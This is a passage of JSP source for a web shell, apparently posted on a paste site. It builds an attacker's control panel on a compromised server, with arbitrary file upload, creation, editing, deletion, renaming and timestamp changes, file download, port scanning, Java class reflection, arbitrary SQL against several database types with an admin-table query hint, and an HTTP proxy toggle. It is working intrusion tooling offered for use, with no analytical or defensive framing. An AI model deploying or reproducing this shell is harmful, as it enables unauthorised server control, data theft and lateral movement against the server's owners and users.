  794. out.print("<td colspan=2>file:<input name=file type=file>up to file<input title='d:\\1.txt' name=UPaddress size=35 type=text></td><td><input name=up onclick=\"this.form.action+='&UPaddress='+this.form.UPaddress.value;\" type=submit value=upl></td></form></tr>");
  795. out.print("<tr><form method=post action='?Action=EditFile'><td bordercolorlight=Black bgcolor=white>new file</td><td colspan=2>file full name:<input name=Filename type=text size=50></td><td><input name=submit type=submit value=new></td>");
  796. out.print("</form></tr>");
  797. out.print("<tr><form method=post action='?Action=newFolder'><td bordercolorlight=Black bgcolor=white>Create folder</td><td colspan=2>folder fullname:<input name=Filename type=text size=50></td><td><input name=submit type=submit value=new></td>");
  798. out.print("</form></tr>");
  799. out.print("<tr><form method=post action='?Action=APIreflect'><td bordercolorlight=Black bgcolor=white>Reflect API</td><td colspan=2>Class Name:<input name=Filename title=java.lang.String type=text size=50></td><td><input name=submit type=submit value=ref></td>");
  800. out.print("</form></tr>");
  801. out.print("<tr><form method=post action='?Action=IPscan'><td bordercolorlight=Black bgcolor=white>Scan Port</td><td>IP:<input name=IPaddress type=text size=20></td><td>Start Port:<input name=startPort title=1-65535 type=text size=5>End Port:<input name=endPort title=1-65535 type=text size=5></td><td><input name=submit type=submit value=sca></td>");
  802. out.print("</form></tr>");
  803. out.print("<tr><form method=post action='?Action=sql'>");
  804. out.print("<td bordercolorlight=Black bgcolor=white>DBM");
  805. out.print("<select name=DB onChange='setDataBase(this.form);'><option>Sybase</option><option>Mssql</option><option>Mysql</option><option>Oracle</option><option>DB2</option><option>PostgreSQL</option></select></td><td>");
  806. out.print("Driver:<input name=driver type=text>URL:<input name=conUrl type=text>user:<input name=user type=text size=3>password:<input name=password type=text size=3></td>");
  807. out.print("<td>SqlCmd:<input type=text name=sqlcmd title='select * from admin'><input name=run type=submit value=Exec></td>");
  808. out.print("<td><input name=run type=submit value=LDB></td>");
  809. out.print("</form></tr>");
  810. if(!openHttpProxy){
  811. out.print("<tr><td><a href='?Action=HttpProxy' target=FileFrame>OpenTheHttpProxy</a></td></tr>");
  812. }else{
  813. out.print("<tr><td><a href='?Action=HttpProxy' target=FileFrame>CloseTheHttpProxy</a></td></tr>");
  814. }
  815. out.print("</table>");
  816. }
  817. //user interfaces==========================//
  818. void userInterFaces(JspWriter out)throws Exception{
  819. out.print("if u want to add an function ,u can coding in 'userInterFaces'function");
  820.  
  821. }
  822. //=========================================//
  823. %>
  824.  
  825.  
  826.  
  827.  
  828. <%!
  829. String encodeChange(String str)throws Exception{
  830. if(str==null)
  831. return null;
  832. else
  833. return new String(str.getBytes("ISO-8859-1"),"gb2312");
  834. }
  835. String folderReplace(String folder){
  836. return folder.replace('\\','/');
  837. }
  838. String fOperation(boolean f,String file){
  839. if(f)
  840. return "<a href=\"javascript:delFile('"+folderReplace(file)+"')\">Delete</a> <a href=\"javascript:reName('"+folderReplace(file)+"')\">Rename</a> <a href=\"javascript:setDate('"+folderReplace(file)+"')\">setDate</a> <a href=\"javascript:zipFile('"+folderReplace(file)+"')\">Zip</a>";
  841. else
  842. return "<a href=\"javascript:delFile('"+folderReplace(file)+"')\">Delete</a> <a href=\"javascript:reName('"+folderReplace(file)+"')\">Rename</a> <a href=\"javascript:setDate('"+folderReplace(file)+"')\">setDate</a> <a href=\"javascript:copyFile('"+folderReplace(file)+"')\">Copy</a> <a href=\"javascript:editFile('"+folderReplace(file)+"')\">Edit</a> <a href=\"javascript:downFile('"+folderReplace(file)+"');\">Down</a>";
  843. }
  844. String getSize(long size){
  845. if(size>=1024*1024*1024){
  846. return new Long(size/1073741824L)+"G";
  847. }else if(size>=1024*1024){
  848. return new Long(size/1048576L)+"M";
  849. }else if(size>=1024){
  850. return new Long(size/1024)+"K";
  851. }else
  852. return size+"B";
  853. }
  854. String ico(int num){//ico
  855. return "<font face=wingdings size=3>&#"+num+"</font>";
  856. }
  857. String htmlEntity(String htmlCode){//html uncode
  858. htmlCode=htmlCode.replaceAll("&","&amp;");
  859. htmlCode=htmlCode.replaceAll("<","&lt;");
  860. return htmlCode.replaceAll(">","&gt;");
  861. }
  862. %>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement